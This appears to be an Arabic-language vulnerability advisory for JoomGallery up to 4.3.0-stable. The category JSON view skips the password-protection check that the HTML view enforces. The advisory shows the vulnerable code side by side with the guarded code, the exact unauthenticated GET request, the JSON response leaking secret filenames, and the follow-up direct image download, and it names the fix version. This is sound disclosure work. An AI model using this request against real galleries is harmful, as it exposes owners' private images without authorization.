
تجاوز الفئات المحمية بكلمة مرور عبر تنسيق JSON في JoomGallery
JoomGallery ≤ 4.3.0-stable — مهاجم غير مصادق يتجاوز بوابة كلمة المرور لتنزيل الصور المحمية
يوجد تجاوز للتحكم في الوصول غير المصادق عليه في عرض JSON لفئات JoomGallery. عندما تكون فئة المعرض محمية بكلمة مرور، يفرض عرض HTML بوابة كلمة المرور بشكل صحيح — لكن عرض JSON (format=json) يتخطى هذا الفحص تمامًا.
يمكن لمهاجم بعيد بدون أي بيانات اعتماد استرداد عنوان الفئة ووصفها وأسماء الملفات العشوائية لجميع الصور المحمية، ثم تنزيل تلك الصور مباشرةً. يتم تجاوز ميزة الحماية بكلمة المرور عبر طلب HTTP واحد.
يقتصر التجاوز على الفئات التي يكون مستوى وصول ACL في Joomla مضبوطًا على عام (Public) (access=1). الفئات المقيدة بالوصول المسجّل (Registered) أو الخاص (Special) لا تزال محظورة على مستوى ACL في JsonView.php:69.
| المكوّن | القابلية | تم الاختبار على | الإصلاح |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
النوع: تحكم غير صحيح في الوصول (CWE-284)
المصادقة المطلوبة: لا شيء — غير مصادق، طلب HTTP واحد
الملف: site/com_joomgallery/src/View/Category/JsonView.php، الأسطر 76–96
تنفذ JoomGallery الحماية بكلمة مرور للفئات عبر علامة pw_protected. هذا الفحص موجود في HtmlView.php لكنه غائب تمامًا في JsonView.php:
HTMLVIEW.PHP — صحيح (الحارس موجود)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — ثغرة (لا يوجد حارس)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
معامل format=json في Joomla يوجّه نفس الرابط إلى فئة View منفصلة. يجب على كل View فرض فحوصات الوصول بشكل مستقل — لا يقوم الإطار بنشرها تلقائيًا. أضاف المطوّر حارس pw_protected إلى HtmlView لكنه أهمله في JsonView.
تعتمد حماية كلمة المرور في JoomGallery على إبقاء أسماء ملفات الصور سرية — تُخزَّن الملفات كأصول ثابتة تحت /images/joomgallery/originals/ ويقدّمها Apache مباشرة دون أي مصادقة من جهة الخادم. أسماء الملفات عشوائية (مثل secret-image-1_20260803_1951053711.jpg) ولا تُكشف إلا بعد اجتياز فحص كلمة المرور عبر طبقة PHP/Joomla. يكسر تجاوز JSON هذا النموذج بكشف أسماء الملفات لطالبي الوصول غير المصادقين، مكتملًا سلسلة الهجوم حتى الاسترجاع الكامل للصور.
إعداد المختبر:
pw_protected=true، access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
النتيجة: تم عرض نموذج كلمة المرور. لا يظهر أي محتوى للفئة.

GET /index.php/gallery/categories/3-secret-gallery
النتيجة: الوصول المباشر للصورة محظور داخل مسار Alias (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
الاستجابة (HTTP 200، بدون مصادقة):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
يؤكد pw_protected: true أن كلمة المرور مضبوطة. على الرغم من ذلك، يتم إرجاع الاستجابة الكاملة بما في ذلك اسم الملف العشوائي إلى طالب غير مصادق.

باستخدام اسم الملف الذي تم الحصول عليه في الخطوة 3
النتيجة: HTTP 200 — يتم إرجاع ملف الصورة مباشرة بواسطة Apache. لا حاجة إلى مصادقة.

أي فئة في المعرض قام المسؤول بحمايتها بكلمة مرور تكون مخترقة بالكامل. لا يحتاج المهاجم سوى إلى معرف الفئة الرقمي، وهو تسلسلي ويمكن تعداده بسهولة.